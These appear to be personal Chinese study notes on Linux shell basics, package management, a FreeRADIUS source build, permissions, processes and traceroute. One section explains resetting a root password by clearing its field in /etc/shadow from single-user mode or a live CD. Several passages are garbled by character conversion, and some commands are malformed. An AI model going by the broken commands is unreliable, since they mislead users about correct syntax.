星号  代表『 0 个刡无穷多个』任意字符 问好 代表『一定有一个』任意字符 方括号 代表『一定有一个在括号内』癿字符(非任意字符)。 例如 abcd 代表『一定有一个字 符, 可能是 a, b, c, d 这四个任何一

井号 批注符号:这个最常被使用在 script 当中,规为说明!在后癿数据均丌执行

\ 跳脱符号:将『特殊字符戒通配符』还原成一般字符

| 管线 (pipe):分隑两个管线命令癿界定(后两节介绍); ;连续挃令下达分隑符:连续性命令癿界定 (注意!不管线命令幵丌相同) &工作控刢 (job control):将挃令发成背景下工作 ! 逡辑运算意义上癿『非』 not 癿意思! / 目录符号:路径分隑癿符号

, >> 数据流重导向:输出导向,分删是『叏代』不『累加』 <, << 数据流重导向:输入导向

数据流重导向 (redirect) 数据流重导向就是将某个命令执行后应该要出现在屏幕上的数据, 给他传输刡其他的地方,例如文件戒者是打印机 !这玩意儿在 Linux 癿文本模式底下可重要!

信息输出: 不管什么数据都输出到屏幕 屏幕当然乱了

  1. 标准输入 (stdin):代码为0,使用<戒<<;
  2. 标准输出 (stdout):代码为1,使用>戒>>;
  3. 标准错诨输出(stderr):代码为2,使用2>戒2>>;
1\> :以覆盖癿方法将『正确癿数据』输出刡挃定癿档案戒装置上; 
1\>\>:以累加癿方法将『正确癿数据』输出刡挃定癿档案戒装置上;      2\> :以覆盖癿方法将『错诨癿数据』输出刡挃定癿档案戒装置上;      2\>\>:以累加癿方法将『错诨癿数据』输出刡挃定癿档案戒装置上;   pipe  管线命令 双向重导向 tee

正确信息导出 standard output 简称 stdout > >> 默认1> 1>>

ll >desklist
ll: 显示文件列表.

输出信息到 desklist文件 /> 文件已存在 就清空/覆盖文件 再写入 > 文件不存在 新建文件 写入 />> 文件已存在 就加入数据到文件末尾 文件不存在就新建.

错误信息导出: standard error output 简称 stderr 2> 2>>

cat > xujian 新建文件 cat > xujian < /vimrc 用 vimrc 里面的内容 写入到新建的文件里面.

多次命令依次进行. sync;sync;shutdown -h now

选择性执行命令 『 && 』及『 || 』

cmd1 && cmd2

  1. 若 cmd1 执行完毕且正确执行($?=0),则开始执行 cmd2。
  2. 若 cmd1 执行完毕且为错诨 ($?≠0),则 cmd2 丌执行。

cmd1 || cmd2

  1. 若 cmd1 正确 ($?=0),则 cmd2 不执行。
  2. 若 cmd1 错误 ($?≠0),则 cmd2 执行

回传值:若前一个命令执行的结果为正确,在 Linux 底下会回传一个 $? = 0 癿值』。

可以实现: (1)判断一个目录是 否存在; (2)若存在才在该目录底下建立一个档案。

cut 截取命令: 一段命令 取自己想要的就行. 单位是行

export
declare -x HISTSIZE=”1000”
declare -x INPUTRC=”/etc/inputrc” declare -x KDEDIR=”/usr”
declare -x LANG=”zh_TW.big5”

export | cut -c 12- (去掉前面的12个字符.) cut -c 12-20 (显示 第12-20个字符)

HISTSIZE=”1000” INPUTRC=”/etc/inputrc” KDEDIR=”/usr” LANG=”zh_TW.big5”

grep 根据关键词 分析整个文件的信息, 列出包含关键词的所有行.

xujian | grep ‘xx’ 把 xujian 这个文件里面 包含 xx 的那行取出来. xujian | grep -v ‘xx’ 把 xujian 这个文件里面 不包含 xx 的那行取出来.

xujian | grep ‘xx’ |cut -d ‘ ‘ -f1 把 xujian 这个文件里面 包含 xx 的那行取出来. 然后利用 cut 仅仅显示第一栏.

grep - - color=auto ‘xx’ /xujian 高亮关键字.

-n 显示行号 -i 不区分大小写

grep -n ‘vi’ macvim.md 从文件中 找出带 vi 的行. (区分大小写) grep -in ‘vi’ macvim.md 从文件中 找出带 vi 的行.(不区分大小写)

主机管理:

查询登陆信息 追踪流量 监控主机状态

自动处理.

举例来说,如果我们想要重新启动系统注册表档, 可以使用: 『/etc/init.d/syslogd restart』, 那个 syslogd 档案就是 script 啦!

我们可以通过 shell script 去分析『当该封包尝试几次还是 联机失败之后,就予以抵挡该 IP』

scripts 也可以想成『仅是帮我们把一大串的指令汇整在一个档案里面, 而直接执行该档案就可以执行 那一串又臭又长的指令段!』就是这么简单啦!

Shell Manual :

Man

man + 命令 : 非常详细的解释这个命令. 可以用 /+关键字 进行结果查询 上下方向键 → 上下行滚动 F / 空格 → 下一页 B → 上一页

• Ctrl + c,结束命令 • TAB键,自动补全命令(按一次自动补全,连续按两次,提示所有以输入开头字母的所有命令) • 键盘上下键,输入临近的历史命令 • history,查看所有的历史命令 • Ctrl + r,进入历史命令的搜索功能模式 • clear,清除屏幕里面的所有命令 • hostname,查看当前登陆用户全名 • pwd,显示当前目录路径(常用) • firefox&,最后后面的 & 符号,表示使用后台方式打开 firefox,然后显示该进程的 PID 值 • jobs,查看后台运行的程序列表 • ifconfig,查看IP等信息(常用) • locate 搜索关键字,快速搜索系统文件/文件夹(类似 Windows 上的 everything 索引式搜索)(常用) ◦ updatedb,配合上面的locate,给locate的索引更新(locate默认是一天更新一次索引)(常用) • su:切换到 root 用户,终端目录还是原来的地方(常用) ◦ su -:切换到 root 用户,其中 - 号另起一个终端并切换账号 ◦ su 用户名,切换指定用户帐号登陆,终端目录还是原来地方。 ◦ su - 用户名,切换到指定用户帐号登陆,其中 - 号另起一个终端并切换账号 • exit,注销当前用户(常用) • sudo 某个命令,使用管理员权限使用命令(常用) • passwd,修改当前用户密码(常用) • date,查看系统时间(常用) ◦ date -s20080103,设置日期(常用) ◦ date -s18:24,设置时间,如果要同时更改 BIOS 时间,再执行 hwclock –systohc(常用) • cal,在终端中查看日历,肯定没有农历显示的 • uptime,查看系统已经运行了多久,当前有几个用户等信息(常用) • echo “字符串内容”,输出”字符串内容” • cat 文件路名,显示文件内容(属于打印语句) • cat -n 文件名,显示文件,并每一行内容都编号 • more 文件名,用分页的方式查看文件内容(按 space 翻下一页,按 Ctrl + B 返回上页) • less文件名,用分页的方式查看文件内容(带上下翻页) ◦ 按 j 向下移动,按 k 向上移动 ◦ 按 / 后,输入要查找的字符串内容,可以对文件进行向下查询,如果存在多个结果可以按 n 调到下一个结果出 ◦ 按 ? 后,输入要查找的字符串内容,可以对文件进行向上查询,如果存在多个结果可以按 n 调到下一个结果出 • tail -200f 文件名,查看文件被更新的新内容尾200行,如果文件还有在新增可以动态查看到(一般用于查看日记文件) • shutdown ◦ shutdown -hnow,立即关机 ◦ shutdown -h+10,10分钟后关机 ◦ shutdown -h23:30,23:30关机 ◦ shutdown -rnew,立即重启 • poweroff,立即关机(常用) • reboot,立即重启(常用) • zip mytest.zip /opt/test/,把 /opt 目录下的 test/ 目录进行压缩,压缩成一个名叫 mytest 的 zip 文件 ◦ unzip mytest.zip,对 mytest.zip 这个文件进行解压,解压到当前所在目录 ◦ unzip mytest.zip -d /opt/setups/,对 mytest.zip 这个文件进行解压,解压到 /opt/setups/ 目录下 • tar -cvf mytest.tar mytest/,对 mytest/ 目录进行归档处理(归档和压缩不一样) • tar -xvf mytest.tar,释放 mytest.tar 这个归档文件,释放到当前目录 ◦ tar -xvf mytest.tar -C /opt/setups/,释放 mytest.tar 这个归档文件,释放到 /opt/setups/ 目录下 • last,显示最近登录的帐户及时间 • lastlog,显示系统所有用户各自在最近登录的记录,如果没有登录过的用户会显示 从未登陆过 • du -sh /opt/setups/,显示 /opt/setups/ 目录所占硬盘空间大小(s 表示 –summarize 仅显示总计,即当前目录的大小。h 表示 –human-readable 以 KB,MB,GB 为单位,提高信息的可读性) • chmod 777 文件名,给指定文件增加最高权限。linux 的权限分为 rwx,这三个权限都可以转换成数值表示,r = 4,w = 2,x = 1,- = 0,所以总和是 7,也就是最大权限。第一个 7 是所属主(user)的权限,第二个 7 是所属组(group)的权限,最后一位 7 是非本群组用户(others)的权限。 • ls,列出当前目录下的所有没有隐藏的文件 / 文件夹。 ◦ ls -a,列出包括以.号开头的隐藏文件 / 文件夹(也就是所有文件) ◦ ls -R,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,不显示隐藏的文件) ◦ ls -a -R,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,显示隐藏的文件) ◦ ls -l,列出目录下所有文件的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息,不显示隐藏文件)。显示出来的效果如下: ▪ -rwxr-xr-x. 1 root root 4096 3月 26 10:57,最前面的 - 表示这是一个普通文件 ▪ lrwxrwxrwx. 1 root root 4096 3月 26 10:57,最前面的 l 表示这是一个链接文件,类似 Windows 的快捷方式 ▪ drwxr-xr-x. 5 root root 4096 3月 26 10:57,最前面的 d 表示这是一个目录 ◦ ls -ld 目录名,显示该目录的基本信息 ◦ ls -t,依照文件最后修改时间的顺序列出文件名。 ◦ ls -F,列出当前目录下的文件名及其类型。以 / 结尾表示为目录名,以  结尾表示为可执行文件,以 @结尾表示为符号连接 ◦ ls -lg,同上,并显示出文件的所有者工作组名。 ◦ ls -lh,查看文件夹类文件详细信息,文件大小,文件修改时间 ◦ ls /opt | head -5,显示 opt 目录下前5条记录 ◦ ls -l /opt |grep “^-“|wc -l,统计 opt 目录下文件的个数,不会递归统计 ◦ ls -lR /opt |grep “^-“|wc -l,统计 opt 目录下文件的个数,会递归统计 ◦ ls -l /opt |grep “^d”|wc -l,统计 opt 目录下目录的个数,不会递归统计 ◦ ls -lR /opt |grep “^d”|wc -l,统计 opt 目录下目录的个数,会递归统计 ◦ ls -lR /opt |grep “js”|wc -l,统计 opt 目录下 js 文件的个数,会递归统计 • cd,目录切换 ◦ cd ..,改变目录位置至当前目录的父目录(上级目录)。 ◦ cd ,改变目录位置至用户登录时的工作目录。 ◦ cd 回车,回到家目录 ◦ cd -,上一个工作目录 ◦ cd dir1/,改变目录位置至 dir1 目录下。 ◦ cd user,改变目录位置至用户的工作目录。 ◦ cd ../user,改变目录位置至相对路径user的目录下。 ◦ cd /../..,改变目录位置至绝对路径的目录位置下。 • cp 源文件 目标文件,复制文件 ◦ cp -r 源文件夹 目标文件夹,复制文件夹 ◦ cp -r -v 源文件夹 目标文件夹,复制文件夹(显示详细信息,一般用于文件夹很大,需要查看复制进度的时候) • tar cpf - . | tar xpf - -C /opt,复制当前所有文件到 /opt 目录下,一般如果文件夹文件多的情况下用这个更好,用 cp 比较容易出问题 • mv 文件 目标文件夹,移动文件到目标文件夹 ◦ mv 文件,不指定目录重命名后的名字,用来重命名文件 • touch 文件名,创建一个空白文件/更新已有文件的时间(后者少用) • mkdir 文件夹名,创建文件夹 • mkdir -p /opt/setups/nginx/conf/,创建一个名为 conf 文件夹,如果它的上级目录 nginx 没有也会跟着一起生成,如果有则跳过 • rmdir 文件夹名,删除文件夹(只能删除文件夹里面是没有东西的文件夹) • rm 文件,删除文件 ◦ rm -r 文件夹,删除文件夹 ◦ rm -r -i 文件夹,在删除文件夹里的文件会提示(要的话,在提示后面输入yes) ◦ rm -r -f 文件夹,强制删除 ◦ rm -r -f 文件夹1/ 文件夹2/ 文件夹3/删除多个 • find,高级查找 ◦ find . -name *lin,其中 . 代表在当前目录找,-name 表示匹配文件名 / 文件夹名,lin 用通配符搜索含有lin的文件或是文件夹 ◦ find . -iname lin,其中 . 代表在当前目录找,-iname 表示匹配文件名 / 文件夹名(忽略大小写差异),lin 用通配符搜索含有lin的文件或是文件夹 ◦ find / -name .conf,其中 / 代表根目录查找,.conf代表搜索后缀会.conf的文件 ◦ find /opt -name .oh-my-zsh,其中 /opt 代表目录名,.oh-my-zsh 代表搜索的是隐藏文件 / 文件夹名字为 oh-my-zsh 的 ◦ find /opt -type f -iname .oh-my-zsh,其中 /opt 代表目录名,-type f 代表只找文件,.oh-my-zsh 代表搜索的是隐藏文件名字为 oh-my-zsh 的 ◦ find /opt -type d -iname .oh-my-zsh,其中 /opt 代表目录名,-type d 代表只找目录,.oh-my-zsh 代表搜索的是隐藏文件夹名字为 oh-my-zsh 的 ◦ find . -name “lin” -execls -l{}\;,当前目录搜索lin开头的文件,然后用其搜索后的结果集,再执行ls -l的命令(这个命令可变,其他命令也可以),其中 -exec 和 {}\; 都是固定格式 • df -h,查看磁盘大小和使用空间 • du -sh /opt,查看 opt 这个文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位) • du -sh ./,查看当前目录下所有文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位) • cat /etc/resolv.conf,查看 DNS 设置

                                                                                         

./configure

源码包安装

  1. 配置 ./configure
    1. 编译 make
      1. 安装 make install

        这一步本质上就是把上一步编译出来的结果复制到我们指定的目录而已

Configure是一个可执行脚本

在待安装的源码路径下使用命令 ./configure –h 输出详细的选项列表。

--prefix 安装的路径 默认安装位置 可执行文件 /usr/local/bin 库文件 /usr/local/lib 配置文件 /usr/local/etc 其它文件 /usr/local/share

配置prefix ./configure --prefix=/usr/local/test

把所有文件放在/usr/local/test的路径中. prefix 好处 卸载软件:删除该安装目录,就可完全卸载干净; 移植软件:拷贝整个目录到另外一个机器即可;

make 一个程序有好多文件需要编译. 这些文件是有依赖关系的 makefile 管理这些关系. 一个个去编译 太麻烦 所以就有了 make.

makefile:  源代码包解压出来一堆文件 这些文件是有依赖关系的 用来指导 make 命令该怎么工作 .

makefile 是自动生成的. 自动生成 makefile 需要两个文件. 分别是 configure 和 makefile.in
configure 文件是由 autoconf 命令 生成的. makefile.in 是由 automake 命令 生成的.

软件包为什么要带 configure 文件呢 直接给 makefile 不就成了么. 因为 configure 要 根据你系统平台 来生成 makefile 文件.

gcc: GNU CC 也就是C编译器, g++: 才是cpp编译器

在电脑中自动安装、配制、卸载和升级软件包的工具组合.

在Linux发行版中,几乎每一个发行版都有自己的软件包管理系统。
常见有:
管理deb软件包的dpkg以及它的前端apt(使用于Debian、Ubuntu)。
rpm以及它的前端yum(使用于Fedora)、前端ZYpp(使用于openSUSE)、 前端urpmi(使用于Mandriva Linux、Mageia)等。
使用软件包管理系统将大大简化在Linux发行版中安装软件的过程。

RPM,全称为RPM Package Manager,是由Red Hat推出的软件包管理系统,现在在各种发行版中普遍使用。

dpkg是Debian Package的简写,由Debian发行版开发,用于安装、卸载和供给和deb软件包相关的信息。

软件包管理系统: 分成两组 一组使用RPM(Red Hat Package Manager),
而另一组使用dpkg包管理器.
我们选择两种基于RPM的发行版, CentOS和SUSE, 在企业中流行. 取代使用Debian作为一个基于dpkg的发行版,
我们选择Ubuntu因为他在初学者中广泛流行. 由于Ubuntu派生于Debian, 讨论Ubuntu的章节也适用于Debian不需要大的修改.

预编译软件:缺点 不会安装最新的版本到你电脑. 也就是更新慢.

从源码安装软件是configure, make, make install的同义词. 我们将使用发型吧的包管理器来从源码编译新的软件.

从源码编译 有时有需要来安装最新版本的软件或者包含一些预编译软件没有支持的模块. 这需要从源码编译软件. 大多数开源软件包是作为一个TAR压缩包发布的. TAR实际上可以指用于创建TAR文件的程序(名称是tape archive的简写)或者合成文件的文件格式. 一个TAR文件也通常是压缩的来减少体积. 文件名将会表示压缩的格式. 一个文件名以.tgz或者.tar.gz结尾使用gzip. 一个文件名以.tbz, .tb2, 或者.tar.bz2结尾使用bzip2压缩. 为了编译软件我们解压这个文件, 然后执行命令configure, make和make install在解压的文件夹内. 然而有更好的方式利用发行版的包管理系统来编译软件. 不是所有的TAR文件帮助这个容易实现, 但是FreeRADIUS是这样一个成熟的项目, 允许在任意这3个发行版上从源码编译软件.

编译包的优势 下面是一些从源码编译包的优势 • 容易安装, 升级, 卸载或发布软件. • 容易检查那个版本的软件是安装的. • 能够看到哪些文件被安装, 哪些发行版相关的修改. 既然你已经确定用这种方式编译包, 我们将会为每个发行版来做他.

从源码编译FreeRADIUS需要许多开发库. 标准的SLES仓库不需要全部包含他们他们, 甚至当使用的SDK DVD是SLES的一部分. 我们因此需要添加OpenSUSE仓库. 这将会满足所有的开发库需求.

1 通过下面的URL定位离你最近的OpenSUSE镜像: http://mirrors.opensuse.org 2 使用root用户开始YAST. 3 选择Software | Software Repositories并且然后选择Add来添加到一个仓库. 4 添加在开始时你选择的OpenSUSE镜像. 对于我的OpenSUSE11.3最近的URL是: ftp://opensuse.mirror.ac.za/opensuse/distribution/11.3/repo/oss/suse 5 你可能要被接受GnuPG密钥的导入对于新的仓库. 选择Import来继续. 这个设置编译FreeRADIUS RPM的阶段. 现在遵循下面的步骤: 1 从官网下载最新的.tar.bz2格式的FreeRADIUS源码. 2 SLES包括一个目录结构专门用于编译RPM. 位于/usr/src/packages. 拷贝原始的bz2源文件到SOURCES目录. 替换x和y为对应的版本. cp freeradius-server-2.x.y.tar.bz2 /usr/src/packages/SOURCES/. 3 从TAR文件解压SUSE RPM .spec文件, 替换x,y为对应版本.# cd /usr/src/packages/SOURCES/ 4 # tar -xvjf freeradius-server-2.x.y.tar.bz2 freeradius-server-2.x.y/suse/freeradius.spec 5
6 拷贝下面的文件到/usr/src/packages/SPECS目录:# cp freeradius-server-2.x.y/suse/freeradius.spec ../SPECS/ 7
8 编辑spec文件的下面的行, 修改%{fillup_and_insserv -s freeradius START_RADIUSD}为%{fillup_and_insserv freeradius}. 9 运行下面的命令来决定依赖. rpmbuild -ba /usr/src/packages/SPECS/freeradius.spec 10 这个将会列出必要的开发包来安装, 为了FreeRADIUS RPM被编译. 在你的系统上的列表可能不同. 下面是我的系统上的结果(用zypper安装他们)zypper in db-devel e2fsprogs-devel gcc-c++ gdbm-devel gettext-devel glibc-devel ncurses-devel openldap2-devel openssl-devel pam-devel postgresql-devel python-devel unixODBC-devel zlib-devel apache2-devel cyrus-sasl-devel krb5-devel libapr1-devel libmysqlclient-devel 11
12 再次运行rpmbuild命令. 如果所有的依赖都满足, RPM的编译将会开始. 把结果tee到一个文件用于将来的调查.rpmbuild -ba /usr/src/packages/SPECS/freeradius.spec | tee /tmp/build_out.txt 13
14 当编译完成, RPM位于/usr/src/packages/RPMS/<architecture>/目录. 15 使用下面命令安装新的FreeRADIUS包.# cd /usr/src/packages/RPMS/<architecture>/ 16 # zypper in freeradius-server-2.x.y-0.i586.rpm freeradius-server-libs-2.x.y-0.i586.rpm freeradius-server-utils-2.x.y-0.i586.rpm 17
18 注意默认FreeRADIUS将会已用户radiusd运行. 这个用户是在安装FreeRADIUS过程中创建的. 给这个用户certs目录的权限. 否则会安装失败.chown -R radiusd. /etc/raddb/certs 19
20 通过radiusd -X来确认radiused可以正确启动. 21 Ctrl+C将会停止正在运行的FreeRADIUS. 你现在可以使用下面的启动脚本来启动FreeRADIUS/etc/init.d/freeradius start

功能 : 免去手动编译安装

系统 软件管理器
Mac brew(手动安装)
CentOS yum (自带)
ubuntu apt-get
Debian  

Mac brew

使用方法 (以wget为例)

|命令|作用| |:—:|:—:| 查找软件包 列出已安装的软件包 安装软件包 删除软件包 brew search wget brew list brew install wget brew remove wget

查看软件包信息 列出软件包的依赖关系 brew info wget brew deps wget

更新brew 列出过时的软件包 更新过时的软件包(全部或指定) brew update brew outdated brew upgrade 或 brew upgrade wget

Centos yum

http://itgeeker.net/centos-7-epel-china-mirror-repository/ 查找软件 yum search 更新软件 yum update 列出软件信息 yum list installed ppp

Debian:

默认自带 apt-get 用 sudo 运行

命令 作用
安装软件 apt-get install softname
卸载软件 apt-get remove softname
重装软件 apt-get —reinstall install
搜索软件 apt-cache search
更新已装软件 apt-get update
修复安装软件 apt-get -f install softname
删无用软件 apt-get clean
了解使用依赖 apt-cache depends
下载软件源代码 apt-get source
列出软件包的内容 apt-file list packagename
完整卸载 apt-get –purge remove 删除配置文件.
彻底卸载 apt-get autoremove –purge 删除依赖软件包+配置文件.
   
   
apt-get check # 检查是否有损坏的依赖
dpkg -S filename 查找filename属于哪个软件包
apt-file search filename 查找filename属于哪个软件包
apt-file update 更新apt-file的数据库

T软件安装方法:

用软件包管理器: 直接安装. 的

   
   

huo’z

     
     
     
     

linux 最优秀的就是 多人多任务环境 文件权限管理非常重要

owner 使用者
group 群组
others 其他人

每类别都有 read r write w execute x

权限 x 代表是否可执行 但能不能执行还是看文件内容支持不支持的.

.sh scripts :脚本 或者 批处理文件
用shell写成的 所以扩展名是.sh .tar .tar.gz .zip .tgz 压缩文件 压缩软件不同 扩展名不同

.html .php 网页文档.

文件扩展名 只是让你了解文本的用途而已 执行与否要看文件权限

文件名 最好避开 特殊符号 因为很多linux命令 都是这些符号开头的.

文件配置依据 规定每个特定的目录 放什么数据 好处非常多.

*可分享 软件什么的 *不可分享 本机的配置文件 别的机器不适用.

除了这些目彔的内容乀外,另外要注意的是,因为根目彔不开机有关,开机过程中仅有根目彔会被挂 载, 其他分割槽则是在开机完成乀后才会持续的迚行挂载的行为。就是因为如此,因此根目彔下不开 机过程有关的目彔, 就丌能够不根目彔放到丌同的分割槽去!那哪些目彔丌可不根目彔分开呢?有底 下这些:

Forget Root Passwd

例如重新进入单人维护模式 Live CD 开机后挂载根目录去修改 /etc/shadow, 将里面的 root 密码字段清空, 再重新启动后 root 将不用密码就可登入! 登入后再赶忚以 passwd 命令去设定 root 密码卲可。

变换身份

(平时用一般账户 必要时用 root) su - 直接变 root 账户 要root密码 用 login-shell 来登陆

su 变换身份(让自己的身份变成 root 而已.) 默认直接以 root 登陆 需要输入 root 密码. 以 non-login shell登陆 很多变量 用的还是变为 root 之前的变量.

sudo 命令 要自己的密码 (前提是管理员 给你开通 sudo 的功能.)

visudo 直接修改 /etc/sudoers 文件.

账户登陆问题 有些账户是不需要登陆shell 的 但是可以使用系列资源. 比如说 邮件服务. 那么多邮箱账号 只要能收取邮件就可以了 不需要登陆 ssh.

和 别的用户交流.
先查看 谁在线. write xujian pts/0 hello 按下 ctrl d 结束输入. 对方就能看到了.

wall i will shutdown the server 告诉所有人.

Linux: mailbox

每个用户都有一个 邮箱. 用户不在线的话 就用 mailbox 来发信息吧. mail xujian -s “nice to meet you” hello . 结束时 最后一行 写一个小数点. 再回车.

收件 直接运行 mail

最好用命令增加用户. 因为加一个用户涉及很多文件 要是漏了一个 会出问题.

程序 :linux 触发任何一个事件 系统都当成一个程序 给这个程序 一个 ID → 就是 PID 比如 用root登陆ssh ssh 服务器会给你发一个 pid 然后你用 root 执行命令 服务器也会给这么命令发一个 pid 登陆 ssh 就是父进程 . 执行命令 子进程

终端 输入 ps -l → UID PID PPID F CPU PRI NI SZ RSS WCHAN S ADDR TTY TIME CMD 501 12345 12344 4006 0 31 0 2455576 2916 - S 0 ttys000 0:00.09 -zsh 501 12387 12345 4006 0 31 0 2446696 1304 - S 0 ttys000 0:00.01 bash 501 12391 12387 4006 0 31 0 2463768 2976 - S 0 ttys000 0:00.07 zsh

Parent PID (PPID)
杀掉子进程 父进程会再创建一个子进程 杀掉父进程才有用.

程序 在硬盘 触发后加载到内存 一个程序有好多中权限 root / user 系统通过 pid 判断这个程序 是否有权限进行工作. 就比如 登陆是 ssh bash 这个程序. root 进去是 root 的相应权限.

常驻内存的程序 就是服务. daemon 网络服务 启动后 会开启一个可以负责网络监听的端口 以便外部的客户端 可以连接.

linux 默认提供 6个文字界面 就是能开6个 ssh. 和 一个图形界面.

linux 绝对不会死机的 如果一个窗口没反应 切换到别的窗口 ps -aux 找出刚才错误的程序 kill 再回去 有可以了.

bash 下 工作控制 前台 foreground 后台 background (能自动运行的 无法停止的 用 bg fg 来呼叫该工作) 一次进行多个任务. 比如后台下载. cp file1 file2 & &:就是后台执行的意思.

后台程序 最好将输出数据 利用 数据流导向 导到文件里. tar -zpcvf /tmp/etc.tar.gz /etc > /tmp/log.txt 2>&1 &

暂停程序到后台. 比如 vi 编辑文件时 需要找别的文件. 按下 ctrl z

观察目前的 后台状况. jobs 后台转前台 fg (foreground)

vi 编辑文件 正常退出 不会有交换文件残留 不正常退出 就会有交换文件 方便找回数据,

静态 ps
ps aux 观察系统所有数据程序 ps -l 查自己用户 bash 的数据程序

动态top 查看进程.

tty 终端机的位置. 远程登录则使用动态接口 pts/n

sz 代表 内存用量 wchan 代表 程序是否活的.

f 程序旗标 4 是 root 权限 c cpu 使用率 pri/ni Priority/Nice 的缩写, 代表此程序被 CPU 所执行癿优先级,数值越小代表该程序越忚 被 CPU 执行。

找父程序 pstree

程序执行顺序 cpu 一秒能运行 好几 G 的指令次数 每个进程在一秒内 或多或少都会被 cpu 执行. 优先级高的 优先运行 priority 优先执行顺序
PRI 优先值

无标题

Linux 中 每个设备 都当成一个文件 来对待. /dev 几乎所有硬件都在这里.

etc———系统设定档桉储存地方 var———改动频繁的档桉, 都置放于此, 例如各log档桉

bin———储存有基本的UNIX指令 sbin——–UNIX 系统指令的储存地方, 是比较进阶的指令

硬盘: 扇区 和 磁柱 组成. 每个扇区 512 byte 第一个扇区 特别重要: 包含了

  • 主要启劢记录区(Master Boot Record, MBR): 如果按照多系统 这个 就很重要了.!!! 可以安装开机管理程序癿地方,有 446 bytes
    - 分区表(partition table):记录整颗硬盘分区状态,有 64 bytes

    . 由二分割表就叧有 64 bytes 而已,最多叧能容纳四笔分割癿记录, 这四个分割癿记录被称为主要 (Primary)戒延伸(Extended)分割槽。 根据上面癿图示不说明,我们可以得到几个重点信息:

      其实所谓癿『分割』叧是针对那个 64 bytes 癿分割表迚行设定而已!

      硬盘默讣癿分割表仅能写入四组分割信息

      这四组分割信息我们称为主要(Primary)戒延伸(Extended)分割槽

      分割槽癿最小单位为磁柱(cylinder)

      当系统要写入磁盘时,一定会参考磁盘分区表,扄能针对某个分割槽迚行数据癿处理 咦!你会丌会突然想到,为啥要分割啊?基本上你可以这样思考分割癿角度:

网络协议

维基百科 : 网络协议详解 https://zh.wikipedia.org/wiki/Category:%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE

我们知道网络协议有N种。。。我列一下常用的几种

IP协议

ARP协议

TR协议

IPv6协议

LLMNR : 在DNS 服务器不可用时,客户端计算机可以使用 LLMNR 来解析本地网段上的名称。 wins 或者 dns 都需要服务器 才能正常运行 而 llmnr 则不需要服务器.

WINS: Windows Internet Name Service, Windows互联网名称服务 一种网络名称转换服务,它可以将 NetBIOS 电脑名称转换为对应的IP地址。

NetBIOS: 网络基本输入输出系统 Network Basic Input/Output System 通过此协议 : 解析别的电脑的计算机名 为相应的ip 地址 实现信息通信. 所以几乎所有的局域网都是在NetBIOS协议的基础上工作的。

DNS: Domain Name System,域名系统 ip地址不好记就有了域名(网址),
域名解析: 把域名解析成对应的 IP

一个自我完备的独立资料实体,携带着足够的资讯. 它能够从源头,选取路径,最终到达目的电脑,而不用依赖起始电脑、目的电脑以及传输网络预先交换的资讯

封包详细信息

这块内容是最重要的 查看协议中的每一个字段

Frame:   —————————————————————————————————物理层的数据帧概况 osi 1 Ethernet II: ——————————————————————————数据链路层以太网帧头部信息 osi 2 Internet Protocol Version 4: —————————————互联网层IP包头部信息 osi 3
Transmission Control Protocol:  ———————传输层T的数据段头部信息,此处是TCP osi 4
Hypertext Transfer Protocol:  ——————应用层的信息,此处是HTTP协议 osi7

TCP 包 具体内容 双击要查看的行 就能弹窗看到详细信息 source port:56451 (56451) 源端口号 destination port: 80 (80) 目的端口号 stream index:5 TCP segment len:0 sequence number:0 ; seq 数据流 号码 Flags:0x002 (SYN) ;这个就是 SYN 标志 请求建立连接用的.

length:47 报头长度 checksum: 0x8c66 validation disable 校验和 验证
good checksum: false 假 bad checksum:false stream index: 0 流 指数

Traceroute

路由跟踪 原文参考链接 if pc want connect to server it maybe should through many routers. if one of the routers have something problem, so you maybe can not touch the internet .

显示路由表: netstat -nr // Mac OS 路由表中,可以找到网关(Gateway)。 网关是通向更加广域网络的出口。

路由跟踪 Traceroute:

遇到网络问题,通常会用 Traceroute 去排查.

Traceroute是一种电脑网络工具, 它可显示数据包在IP网络经过的路由器的IP地址。

Traceroute 三大特点:

  1. 跨平台 Traceroute工具存在与各个操作系统平台, 包括主流系统MAC OS、Windows、Linux、Android、IOS等;

    1. 使用方便 只要在Traceroute后输入IP或域名即可;

      1. 信息全面 Traceroute能够显示跳数、丢包情况、延时等信息。

实现原理:

  1. 从SRC发出一个探测包到DST,并将TTL设置为1;
    1. 每一跳TTL将会减一;
    2. 当TTL变为0时,包被丢弃,路由器向SRC发回一个ICMP TTL Exceed包;
    3. 当SRC收到该ICMP包时,显示这一跳信息;
    4. 重复1~5,并每次TTL加1;
    5. 直至DST收到探测数据包,并返回ICMP Dest Unreachable包;
    6. 当SRC收到ICMP Dest Unreachable包时停止traceroute。 

Traceroute实现细节

  1. 传统UNIX系统使用UDP包进行探测, 目标端口号为33434,每次探测目标端口号增加1; Windows的tracert.exe和MTR则使用ICMP Echo Request包探测;

  2. 如果DST没有返回ICMP Dest Unreachable包则不能探测到DST。这是会发生在某些情况下,如DST前有防火墙,或者DST进行了配置,或者是DST上有一个真实的应用在监听该端口;

    1. 通过设置UDP/TCP/ICMP包中的CLI标识位都能够实现Traceroute,一般来说,不推荐使用TCP包,因为通常会被过滤掉;

    2. 不同的实现方式通常都会向每跳发送多个探测包, 典型的Traceroute默认发送3个探测包, 如果没有收到那一跳的回应,延时数据将会输出3个 ★号; MTR会循环发送无数个探测包;

    3. 每个探测包都有唯一的标识号,使得Traceroute能够识别返回的包,UDP/TCP使用递增的目标端口号进行标识,ICMP使用seq #;

    4. 由于4层哈希能使每个探测包走不同的路由,对于Traceroute来说,在三层的等价多路径(ECMP)下可见,在二层的聚合链路LAG下不可见;

    5. 虽然探测包走不同路径引起不同的结果,但TTL还是相同的。

Traceroute中的DNS反向解析

(Domain Name System) DNS 域名系统: 把域名解析成IP地址。 DNS 反向解析: 把IP解析成域名

**Traceroute 下进行 DNS反向解析 可获取:

  1. 路由器地理位置
    1. 接口类型与带宽
      1. 路由类型与角色
      2. 网络自治系统的边界与关系

    对于推断问题原因,以上信息显得尤为重要。

路由器地理位置

为什么我们需要知道地理位置?

  1. 找出不对或不太合适的路由。
    如:从上海到北京 要经过美国的话. 就不太理想了
2. 确定高延时是否合理。
	从印度到美国要300ms,
	但从日本到美国并不需要300ms。  

3. 帮助你理解网络互联的节点。  

	我们常用的帮助识别位置信息的有:
